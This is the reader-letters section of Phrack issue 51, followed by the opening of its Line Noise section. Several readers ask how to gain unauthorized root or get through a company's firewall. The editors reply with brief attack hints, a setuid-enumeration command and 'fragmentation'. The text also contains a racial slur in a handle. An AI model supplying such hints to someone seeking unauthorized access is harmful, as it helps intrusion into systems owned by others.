I would like to know how could I get root permission from a simple user. I have read that this can be accomplished by setuid programs, and I have read an article describing the way this can be done in Phrack Magazine. Still I couldn't gain root access. I would be very interested in finding ways of doing this on Irix 5.2 or Solaris 2.5. If you know anything about this, please send me an e‑mail. If you know any resources on the Web that details the use of setuid programs in order to get root access, please tell me.

[ P49‑14 ]

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...!<

Mich, not Mitch. "Mich" is short for "Michel."

M. E. Kabay, PhD, CISSP (Kirkland, QC)

Director of Education

National Computer Security Association (Carlisle, PA) http://www.ncsa.com

[ No, Mike is short for Michael. ]

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Your zine is the best

Please send it to Psycho Al1@aol.com

The Psychotic Monk

PS:Aohell rulez

[ You are an idiot. ]

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, Phrack people!

Great job on issue 50! Nice magazine. Article 'bout TTY hijacking is really superb.

I have just one question to you. Is there any holes on target system in this situation? There's a server, running freeBSD 2.1.5, with a shadowed passwords. I've got a dial‑up account on that machine as a simple user. What bugs can I use for having root privileges?

Best wishes from Ukraine!! OmegA

[ find / ‑perm ‑4000 ‑print ]

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hello... long‑time reader, first‑time writer:

i know that all "submissions" are to be encrypted... and i should be encrypting anyways, but i'll make it quick ... besides, this isn't really a "submission..."

congrats on reaching the 50th issue mark, and congrats on an excellent ish!

i just a quick question. i would like to reprint the <soapbox> for issue #50 on my web page, with a hypertext link to the Official Phrack Homepage (http://www.fc.net/phrack/ ‑ correct?).

I think it says brings up some important points, and since it's copywrited, and you sren't losers, i'd ask you (it's not like a simple copywrite has stopped anyone before)!

thanks,

lenny

[ A simple copyright may not stop people, but the simple restitution remanded by courts might. However, go ahead and put a hypertext link. The official webpage will be at phrack.com/net/org, SOON. ]

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Volume Four, Issue Forty‑One, File 3 of 13, Supernigger was featured in your Phrack Pro‑Phile. Whatever happened to him? Did he "grow up and get a real job" or is he still lurking around?

‑ Styx

[ Both. ]

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

People @ Phrack:

In Phrack #50 in the file 'Linenoize' Khelbin wrote an article about remote BBS hacking, namely using Renegade's default 'PKUNZIP ‑do' command overwrite the userbase with your own ...

For some strange reason, while renegade is booted, and if it runs PKUNZIP ‑do the procedure will NOT work... but the procedure DOES work when Renegade is down at the Dos Prompt..?

Does Renegade extract files into memory or something while testing for integrity? ‑8) .. I tried this out on 10‑04, 5‑11 and even 04‑whatever‑the‑fuck‑that‑version‑was and it didn't work.. I think Khelbin needs help for his chronic crack addiction since I can't find any way possible to get his article to work..

op: Taos BBS

~~~ Telegard v3.02

[ We dunno. Anyone else have an answer? ]

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Regarding Xarthons submission about Linux IP_MASQ in Phrack 50...

The masquerading code is not designed for security. Hardwiring RFC1918 addresses into the IP_MASQ code is not a clever idea for two reasons:

1) It diminishes the usefulness of the code. I have used masquerading to keep things running when my company changed internet providers. I masqueraded our old _valid_ IP range. Other people may come up with other valid uses, like providing redundancy through two ISPs.

2) The masquerading code is part of the Linux packet filter, which can certainly be configured to prevent spoofing, a quite a bit more.

If the static packet filter and the masquerading code are used together they can provide as much security as a 'dynamic' filtering firewall like Firewall‑1 in many cases. A very short 'HOW‑TO':

1) Put spoofing filters on all interfaces. Only allow incoming packets to the external interface if the destination address is that of the external interface (that's the address the masquerading code inserts as the source address of outgoing packets).

2) Insert rule(s) in the forwarding filter to masquerade your outgoing packets. You do not need to route incoming replies to masqueraded packets, that happens auto‑magically. Deny everything else (and _log_).

3) Make sure the gateway does not run anything that leaves you vulnerable. Don't run NFS, the portmapper etc. Update sendmail, bind to the latest versions if you run them.

4) Disable telnet, and use 'ssh' for maintenance. If you must support incoming telnet connections through the firewall install the TIS firewall toolkit, and use one‑time passwords.

5) Run 'COPS', 'Tripwire'.

6) Read a good book about Internet security, and make sure you understand all the issues involved before you configure _any_ firewall, even one with a GUI and a drool‑proof manual.

I hope this is useful to some people.

Ge' Weijers (speaking for myself only)

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You write in P49‑06:

... The only sure way to destroy this

channel is to deny ALL ICMP_ECHO traffic into your network.

No. It suffices to clear the content of the packets

when passing the firewall.

ralf

[ True enough. However, by doing this you remove the RTT info from the ICMP echos which will break some implementations which rely on it. ]

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, Im a Wannabe, maybe you would call me and idiot.

Where do you guys hang out, IRC? Wich channel, #supreme? Wich server? Know any good trix for me how to learn more about hacking?

Please answer my letter, I know that you get lots of letters, but please!!

[ EFNet, #phrack ]

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You cant realy say that IRC is for loosers cuz in Phrack 50 I saw an article with some text taken from IRC, and you were logged in.

[ We are losers. Ergo, yes we can. ]

Which good hack books, UNIX books or things like that do you recommend.

Thank You For An Answer!!

[ Anything Addison Wesley or ORA. Also, many of the PTR/PH books. ]

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am writing to inquire about the fate of Pirate Magazine

and how I might contact it's creators. It seems to have been out of circulation since 1990 and I was hoping to look at possibly organizing some kind of initiative to revive this excellent publication. I thought first to turn to Phrack magazine. Thanx for your time.

Joong Gun

[ Anyone have any information? ]

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I just got Phrack 50 and loved it....It is the first one I've got. I was wondering if you guys know about any other newsletters or magazines that are sent to your e‑mail address or you can get off the web on a regular basis, like Phrack. thanX

[ Other magazines come and go on a pretty regular basis. Phrack is eternal. Phrack is all you need. ]

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Please help me. If I can't join your club, please let me learn from you. I am interested in both Program hacking and remote access.

Thanks.

quattro

[ You join our club if you can find our secret clubhouse. ]

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi. This is from a guy you probably will never hear of again, and definantly have never heard of already. I wanna ask you a question. At my school, people write crap on their backpacks with witeout. I have never done this for 2 reasons

1) I dont wanna be grouped with the poseur metalheads, etc who write "Pantera" and "666" and "Satan" etc but cannot name a song of thiers, and/or go to church....

2) I dont wanna be grouped with the wanna be hackers who write stuff like Anarchy symbols, "Aohell" "Kaboom" and the such, because thats just plain lame. You have to feel sorry for people who think they are elite because they can mailbomb somebody.

Another reason I have never written anything is I havent found anything worht advertising. Now i have, I wanna write "The guild" or something to that extennt maybe "r00t" or something. I have not done this for i do not want to piss you off (indirectly something may get to you about it. It could happen, remember the 6 degrees of seperation? hehehe). If this is ok with you, lemme know please. (cad@traveller.com) Also, if your wondering why im mailing this to you alone, it is because you are a fucking baddass. heh. Well, lemme know whenever ok? thanks.

(I know i have an absence of punctuation, i'm in a hurry and I have homework)

[ You have our permission to write r00t on your backpack. ]

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

yes i want to learn how to hack and need to learn fast

Js444 told me you can help

will repay BIG

thanks

[ How big? ]

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I sent this from your hoime page...is it X‑UIDL? I dunno, it's 4 AM anyway

um oh, keep in mind that ur response (if made) to this may be dumped to #hack printed in the next Citadel knockoff or whatevrr

I was just like thinking oh, I was thinking "I don't have an Irix sniffer!"...actually my thoughts don't have quotes around them it was more like

~o‑ all the Irix sniffers I have suck ‑o~

and then theres like Irix 4, 5, 6. Bah. And like sniffit sucks and anyway. And then I mentioned this and people were making fun of me, but I don't care. I only care lately when people are like, "Oh that's what youy make? I'm 17, have a criminal record and make three times that!". Anyway, people are like, "No, no nirva is elite" so I thought, aha, I'll ask nirva what a good Irix sniffer is. Oh, like now that people are laughing at that I have to keep this quets like secrtet. I even think some Irix's don't have compile, like Solaris. Christ, some Solaris's have jack shit. Anyway.

1) Why don't u log on #hack, or are you tres elite #!guild or beyond elite #www or #root #Twilight_Zone and more importantly

2) Irix sniffer ‑ captures passwords, actually compiles. I hate coding. I am a a lazy American. And like, getting legit root access on an Irix...bvah, Irix sniffer!

Bye‑bye hackers

oh PostScript

3) Are you a cyberpunk?

If I ran Phrack I wouldn't like Mr. Tishler have "Are hackers in general geeks?" as the question _everyone_ gets, I think, Are you a cyberpunk? Would be it

[ 1. We do hang out on as many public channels as we can stand for at least a little bit of time each issue. But really why do you care if an editor of Phrack is there when people are shouting about their penis size and how many drugs they are on? If you want to talk about something, we are always available by e‑mail and will usually talk to you by private msgs if we aren't busy doing something else at the moment.

2. Anyone want to write us a really cool one?

3. Who are we to change tradition? ]

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I wanna ask you something about the following problem. I'm really stuck (the 1st time ;‑)) ! Is it possible to pass a firewall and access one of the domains behind it ?? I'm afraid that the sysadmins did their job fine :( I've got everything what I need but that damn wall....I'll give you some info that I've obtained so far:

‑ IP‑address of the firewall,

‑ All the domains + IP adresses behind this wall,

‑ The login‑account of the superuser,

‑ All the open‑UNIX ports behind the wall,

‑ The company has no WWW‑site but they do have an Intranet.

portscanning gives me this:

21~=ftp,

23~=telnet,

25~=smtp‑mail 220 x.x.x.x SMTP/smap Ready.

This is at IP x.x.x.2 but I found out that also x.x.x.1 belongs to the same company with 3 other ports...

7~=echo,

9~=discard‑sink null

79~=finger.

Is the only way to go by D.O.S. attack the firewall and then spoof the firewall's IP addres ?

But how to start ?? Woul u be so kind to help me ??

TIA,

theGIZMO

[ fragmentation. ]

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, this might sound dumb , but, I think it would be cool to have this as a slogan.

"Blah, blah, blah, and along with your subscription, you'll receive a LIFETIME WARRANTY ON YOUR BRAIN!! That is, if for any reason your brain can't figure out a problem you're having hacking, just e‑mail us with your question and we'll be glad to help you out. Note: Please PGP encrypt all questions regarding hacking questions. Thank you."

Do you like it? Note that blah, blah, blah is whatever you would it to be. Such as, "You can subscribe to Phrack Magazine by sending e‑mail to Phrackedit@infonexus.com requesting you be put on the list, and along with your subscription......"

Ok, thats it....write back if you like it....or if you don't. Here is my PGP public key.

Oh yeah...you might have gotten mail from PhatTode@aol.com. That is me. So direct replies to those messages to this new address...Thank you.

[ You're right. It does sound dumb. ]

0x20>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey,

sorry to bother you but I just got Redhat Linux 4.1 in the mail. I think it's great besides the fact that I hear that it lacks security. HOw do I get PGP up in it? Is it easy to install? Thanks.

Killer Bee

[ yes, very easy to install. Read the documentation. It's different for different platforms. ]

0x21>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello

My name is Joseph and I am intrested in any information you may have about the early day's of hacking and current hacking underground.. also I understand you are a member of the guild ?? what is this?

Joseph ‑‑> jgriffiths@iname.com

[ The guild is like what r00t was before r00t got all famous and became greatly feared and admired. Oh. And we spend most of our time counting our millions and having sex with models. ]

0x22>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there,

Do you know where I can find the Rosetta stone for interpreting the output of Solaris lockd & statd in debug mode? I can't find any public information about it, even on Sun sites. Sun Microsystem refuses to let their lab publish anything about interpretation of system calls outputs. Are they afraid that they will be losing support contracts if this information gets out? The man page does not include arguments to run in debug mode, and what's the point of providing the tools w/o the means to interpret the result? Teach a man how to fish .....you know.

Thanks.

Christine

[ Someone want to write an article on it? ]

0x23>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In regards to the article on Ethernet spoofing:

As an aside note for the highly paranoid: ethernet spoofing

Note: some of this is theorized, and might not be 100% accurate ‑ if you get the jist of it, you should be able to figure out if it works for you.

It is possible to spoof ethernet hardware addresses as well. Some cards will allow you to do this easily, but you need to have card programming docs (check the Linux kernel source for your card driver‑!!). Others won't let you do it at all, and require a ROM change, or worse it might be solid state logic on the card ‑ EVIL. Course you might be able to get around solid state stuff by recoding the ROM, but I wouldn't recommend it unless you don't have the $70 to buy a new card, and have a month or two to spend in the basement.

... rest of stuff(tm) deleted ...

Interestingly enough, most of the Sun sparc stations I've seen allow you to enter in any mac address that you want using ifconfig(1M). I "know someone" who picked up a Sparc IPC for $50 (Can $$) and upon discovering that the battery that powers the IDPROM was deceased, we needed to fake a mac address to get it to talk to someone. Sun's default is 0:0:0:0:0:0 but the 3Com card's mac (from a different network) worked quite nicely.

Interesting concept the author has though, I'll be f*ck around with the idea when I'm supposedly doing work =)

[ MAC address spoofing techniques are well known about, especially under Sparcs. However, do some research, write some code and an article and submit it... ]

0x24>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I love your e‑zine it is the coolest thing i've read.

[ Thank you. It's the coolest thing we've written. ]

Please could you tell me any ways to violate the security of a "MacAdmin" based system on the Apple Macintosh.

[ What's a Macintosh? ]

Mark "Vombat" Brown

May phrack and Fiona live forever!

[ ...and may Phrack and Fiona do a joint project some time soon... ]

0x25>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, I sent this to you because yer handle is shorter.

Anyways, great job on issue 50, always a pleasure to read it, and in article 12, by Sideshow Bob, I was wondering about the "tail" command. I don't seem to have this nifty util, and was wondering if perchance, you knew where I could get a copy. Also: the Skytel article sorta looked like an advertisement to me. Nothing against that, it's still pretty interesting to learn of Skytel's history, and of the nifty things out there, but I was wondering if it sounded like a detailed ad to anyone else. But if you could help me out with the tail command, I'd be so grateful. Joel Thomas

[ Standard GNU utility. Try your local unix box. ]

0x26>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| G'day mate,

| I am a computer user in Camplong, Timor. I have limited internet access, as | it is a long distance phone call from home. I have downloaded your issues | 46‑50 and haven't read through them all yet, but what I see looks good. | What I need from you is a UUENCODER program so I can extract the included | files.

[ Standard GNU shell tool. Any Unix host will have it. Do a websearch to get it for Windows. ]

| I am also confused on how to extract the .c files from the text | files(philes?).

[ As it says in the header file: gcc ‑o extract extract.c

then `extract filename` ]

| I am not a C programmer, but my dad is.

[ That's nice. ]

|

| I need PGP. Although my side of the internet is safe, noone reading others | letters (the sysop is too dumb or something to even think about that) I want | my mail to get where it is going in one piece unread. Where can I find a | free copy of PGP?

[ Do a websearch. ]

0x27>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.. crack me up. Excellent social porno in your reader's letters section. Keep on commenting. Might start screaming soon.

Um, the guy from slovakia might want to get hold of Bill Squire for information on smartcard programmers; as I seem to recall, he likes messing with these electronic devices.

Another thing; I though DC was now just sticking to his viola? According to all the news he only started hacking because someone vandalized it? Wonder if I should have used the same thing in my case: "I plead not guilty, Magistrate sir, but the University's good‑for‑nothing courses drove me to it." Whatever it takes, I guess..

Yum.

‑me.

0x28>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is a response to p48‑02 in which one "Mr. Sandman" proceeded to spew out eleven paragraphs of blatant misinformation. Rather than lumbering through a point‑by‑point rebuttal to his letter, I will quickly summarize what was wrong with it, and then state a few facts to clarify some things.

KoV never touched Skidmore. This is something that anyone who was in the group will attest to. And not just to follow the old "admit nothing, deny everything" plan. In reality, we NEVER touched it.

In retrospect, I find it very odd that someone from New York would claim to know so much about the inner workings of a decidedly regional [Connecticut] hacker collective. While we weren't exactly xenophobic, we certainly didn't go out of our way to divulge information about ourselves to anyone outside the group (or the state, for that matter). This would explain why Mr. Sandman's letter was riddled with insufferably laughable lies that were obviously the product of a jealous and dejected outsider.

One thing that needs to be put to rest is that we were certainly not "a bunch of egotistical and immature criminals" as Mr. Sandman would have you believe. The primary focus of KoV's efforts was not to "break into universities" or "make ourselves look bigger and more important than we were." We existed, first and foremost, to unify what was, at that time, a greatly divided scene. Squabbling and infighting among those few real hackers who were still around was leading to a critical breakdown at the fundamental level. Something had to be done, and fast. In an effort to bring together a group of like‑minded individuals (not only from the hacker perspective but also in terms of anarcho‑libertarian philosophy and ideology), I started KoV with an intentionally humorous name behind the acronym. It was an almost immediate success, and over time I certainly accomplished all that I'd set out to do, and then some.

The current state of the "Connecticut hacker scene" (for lack of better terminology) is much different than it was in the summer of 1994. People are working together, cooperating, and the incessant "civil wars" which plagued us back then are all but nonexistent today. I think I'd be well within my rights to credit KoV with helping to assure that those problems are now but a memory. It really bothers me when anonymous instigators like Mr. Sandman attempt to dishonor all the work that we did to get this far, without even really having a clue as to what we were (and are) all about. Perhaps he and his ilk could benefit from such groups as KoV. Because no matter how I feel about him and his actions...

"The more we fight among ourselves,

the less of a threat we are to the system."

‑ Valgamon

Sat Jun 07 15:49:25 EDT 1997

0x29>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What up.

Yo, Ima hack/phreak from back in the day (1984)

My 1st bbs was on an atari with a floppy drive and 64k!

Nowadays, I do rap music and acting, live in Los angeles (im from western NY), and run 900#s and adult websites.

Check this out, I need to thangs:

#1: FTP space for adult pix (not really important, since my host gives me unlimited space), but I have no anonymous ftp capabilities)

#2: Windows NT or unix

Can you help??

Have broom (Music software) will travel (trade)

[ We will trade you unix for a rap song about Phrack and a movie role for route. ]

0x2a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is in reference to the first part of your " PGP Attack FAQ," which addresses the length of time necessary to brute force IDEA. Perhaps I'm overly paranoid (naw...) or just a perfectionist, but I would like to point out two things about this:

1) Somewhat of an error in your math?

2) "As far as present technology is concerned."

"As we all know the keyspace of IDEA is 128‑bits. In base 10 notation that is:

340,282,366,920,938,463,463,374,607,431,768,211,456.

To recover a particular key, one must, on average, search half the keyspace. That is 127 bits:

170,141,183,460,469,231,731,687,303715,884,105,728.

If you had 1,000,000,000 machines that could try 1,000,000,000 keys/sec, it would still take all these machines longer than the universe as we know it has existed and then some, to find the key. IDEA, as far as present technology is concerned, is not vulnerable to brute‑force attack, pure and simple. "

Somewhat of an error in your math

========================

OK, let's examine the math. For simplicity, let's say we only had one machine that could try 1,000,000,000 keys/sec. The number of seconds it would take for this machine to search half the keyspace, and thus find the correct key would be 170,141,183,460,469,231,731,687,303715,884,105,728 divided by 1,000,000,000. This would yield 170,141,183,460,000,000,000,000,000,000 seconds of maximum search time before finding the key. This in turn would be 2,835,686,391,010,000,000,000,000,000 minutes = 47,261,439,850,100,000,000,000,000 hours = 1,969,226,660,420,000,000,000,000 days = 5,395,141,535,400,000,000,000 years = approximately 5.395 sextillion years. If there are 1,000,000,000 of these machines as you suggest, then the years required for a successful brute force crack would be 5,395,141,535,400,000,000,000 / 1,000,000,000 = 5,395,141.5354. So, it comes down to: are you saying that these 1,000,000,000 machines are acting as a collective entity or can *each* one of these machines operate on 1,000,000,000 keys/sec and thus operate together at a speed of (1,000,000,000) * (1,000,000,000) = 1,000,000,000,000,000,000 keys/sec. If the first is true, then you are correct in saying that "it would still take all these machines longer than the universe as we know it has existed and then some," as it would take app. 5.395 sextillion years (scientists estimnate that universal redshift shows the universe to have existed thus far for only 15 billion years). If the second is true, then it would take far less time than the existence of the universe at app. 5.395 million years... which could be compared to twice the amount of time human beings have existed on earth, or just a fraction of the time dinosaurs were here.

[ Hrm. Take it up with Schneier. ]

"As far as present technology is concerned."

=======================

How far is present technology concerned?! The Intel/Sandia Teraflops Supercomputer can reportedly perform 1.06 trillion floating point operations per second (refer to http://www.intel.com/pressroom/archive/releases/cn121796.htm). Assuming

[ Keep in mind that factoring and brute force key searches are integer‑based calculations, not floating point operations. ]

one of these "instructions" can operate on, let's say something around a 28th power float variable, then disregarding read/write operations, the system can search at 1.06 trillion keys/sec. This yields a total search time (before a successful "hit") of 170,141,183,460,469,231,731,687,303715,884,105,728 / 1.06 trillion = 160,510,550,434,000,000,000,000,000 seconds = 5,089,756,165,470,000,000 years or 5.089 quintillion years... still a rediculous amount of time even on the fastest publicised system in existence. Now, this system, the Intel/Sandia Teraflops Supercomputer is made up of 9,200 200 MHz Pentium Pro processors. Being that they didn't have to buy them at markup/retail and they manufacture them from scratch for their own purposes, let's say it cost $500 per chip plus some negligible ram and labor costs (how much ram do you need when you have a gig+ worth of onboard cache, etc.). With 9,200 chips, the system would take about $4,600,000 to build. A practical question: if federal taxation is %28 on an annual income of $80,000, where does all the money go? Well, let's say a Billion dollars per decade goes to the NSA to build whatever they want. If the 9,200 chip system cost $4,600,000 then a little algebra reveals that with one billion dollars, the NSA could purchase approximately 2 million 200 MHz pentium pros. If the 9200 chip system did 1.06 trillion keys/sec, thus the 2 million chip system would be capable of approximately 230,434,782,609,000 keys/sec or app. 230 trllion keys/sec. Now, say the NSA is smart enough not to buy crappy x86 chips and instead get 500 MHz DEC Alpha RISC chips. This is 300 Mhz or 3 fifths faster than a 200 MHz pentium pro approximately. so 230 trillion + (230 trillion * 3/5) = 368,695,652,174,000 or 368 trillion keys/sec. The original calculation yields that the successful search time would be 170,141,183,460,469,231,731,687,303715,884,105,728 / 368,695,652,174,000 = 461,467,832,499,000,000,000,000 seconds = 14,633,048,975,700,000. Ok, great... so now we're down to 14.6 quadrillion years of search time, which means that at least now we may get REALLY lucky and hit the right key within a certain degree of insanity. But, this was only a billion dollars we gave the NSA in a decade. If we're especially paranoid, let's say the government was so concerned over nuclear terrorists sending encrypted messages, that the NSA got a TRILLION dollars to build a system. That divides the whole equation by a thousand making the search time 14,633,048,975,700 years or 14.6 trillion years... STILL rediculous. Ok, so let's say that now we're giving the NSA a HUNDRED TRILLION DOLLARS thus dividing the search time by 100 yielding 146,330,489,757 years which is about ten times longer than the existence of the universe. But now, if we had 1,000,000,000 of *these* machines working concurrently the search time would wind up being 146.330489757 years. But, if each RISC processor were replaced with a small piece of nanotechnology, each piece of this nanotech being 100 times faster than the alpha chips, you get 1.46330489757 year. There ya have it... some classified nanotechnology, 100 trillion dollars, and a DAMN lot of landmass all multiplied by 1,000,000,000 and you've brute forced IDEA in a year and a half. I won't go into the tedious calculations, but an object with the surface area of two of our moons would approximately be able to house this complex. Now, as I know you're asking about where to store all the keys... and the fact that this drive would be bigger than a solar system and so on, just have the keys generated using the same PRNG in the brute force attack... you'll just have three times the instructions (write for the generation, read to get it, write to compare it) so multiply the search time by three. The technology is possible... it's economics and territory that doesn't work.

[ Theorectially shure. But you have sorta just proved the point that it is not feasible. ]

‑‑gKHAN

0x2b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The snippit in P50 in section 02 of the zine by Xarthon entitled

> Yet another Lin(s)ux bug! "IP_MASQ fails to check to make sure that a > packet is in the non routable range." "So in conclusion, you are able to > spoof as if you are on the inside network, from the outside. "

Is so incomplete I would almost call it a lie. The only way that Linux would do this is if the person setting up the IP‑Masq system issued the command "ipfwadm ‑F ‑p masquerade" which if you read the IP‑Masq HOWTO it tells you explicity NOT to do for this very reason. My retort for Xarthon and all others who do stupid ass things like leave port 19 open and such; is that Linux only sux if you do. To wit, don't be a moron, and you won't have to complain that it sucks.

Swift Griggs | UNIX Systems Admin

0x2c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there,

I have a question regarding a certain piece of hardware that has come into my possession. Since this little piece of equipment contains no indications of its intended use i have no idea what this thing could do. So here's a descrition of the little box; i hope you might be able to provide me with more information on what this device is supposed to do.

Description:

‑lightgrey rectangular casing (13CMx9CMx3CM)

‑frontpanel has one green LED, a connector labeled "SCANNER", and a little door which reveals two sets of dipswitches (2 sets of 8, labeled "DIPSW1" and "DIPSW2")

‑backpanel has three connectors, a RJ4‑like connector (only it has 6 lines instead of 4; it looks like a connector for a Memorex Terminal) labeled "A", a standard IBM‑PC keyboard connector labeled "B", and a small (9‑pin) serial interface‑connector labeled "C".

‑there is a sticker with a serial number, a barcode, and "Made in Taiwan" on the bottom

‑the circuit‑board contains IC's of Sony, Philips, and TExas Instruments ‑there is also one removable EPROM, made by AMD; it has a label on it which reads "V2.61 CS:EF88"

I have found that a normal keyboard plugged into connector B, while a KBD‑to‑RJ‑jack cord is plugged into connector A will allow the box to be placed between the keyboard and the kbd‑port; so my first guess would be that this is some kind of filtering device. But that doesn't explain why there is a serial‑connector and this "SCANNER" connector present.

So, do you know what this thing is ?

‑lucipher.

[ Readers? ]

0x2d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi, my friends.i am a newbie come from China,i had read some Phrack magazine. but to me surprise,i had not success compile a program still now.i send e‑mail to the author,but server tell me there is no this user.

for example, phrack‑49‑15 describle tcp port scan,but i can not find ip_tcp.h, other paper tell me a way to guess password,and said the program only need Ansi complier,but i can not success too. oh.my god.

i use sun os ,gcc, i need your help, thanks.

yours

keven zhong

[ Here at Phrack, we use TheDraw for ANSI compilers. I hope that answers your question. ]

0x2e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm just writing this to say thanks to all the hackers that represent Phrack and work hard to keep it going,you guys are truly keeping the new generation alive.If it weren't for Phrack i'd probably never have wanted to waste my time with computer's,the technical info is first class and a lot better than most of the crap out there.I would suggest that maybe once in a while u guys could write some more stuff geared towards the newbies,it really is important because most people who aren't familiar with the terms get completely lost.Down here in Montreal(514),most people think hacking is spreading virri or u/l shitty trojans,there's no talk about unix or networks.We really need some help down here,the scene is practically dead and most newbies don't have any support to help them get started.Anywyas i just want to say keep up the good work,and it's really appreciated.

‑‑

| Return Address: Dave.Conway@claw.mn.pubnix.net

| Standard disclaimer: The views of this user are strictly his/her own.

[ Thanks, if anyone cool is in Montreal, e‑mail this guy and revive your scene. ]

Line Noise

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 03 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 1 L I N E N O I S E

‑‑‑‑‑‑‑‑[ Various

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Review of H.I.P.

<torquie@landslide.openix.com>

Out of all of the cons I've been to (and I've been to loads), Hacking In Progress was definitely the coolest and the most surreal hacker con ever. This was definitely a European event though there were a few arrivals from the US. The atmosphere was carnival. It was like an old style con where you got together to meet up with people face to face, exchange ideas and basically have loads of fun.

Around 2500 people attended: hackers, artists, media, police... a total mish mash of cultures and ideas.

HIP was a total geek‑fest. Computer networks were spread across the campsite. In the mornings (when I actually slept) I awoke to the chirping of birds and the booting up of windows95. In the evenings I sat around the campfire chatting to mates while the hardcore's played DOOM and exchanged warez.

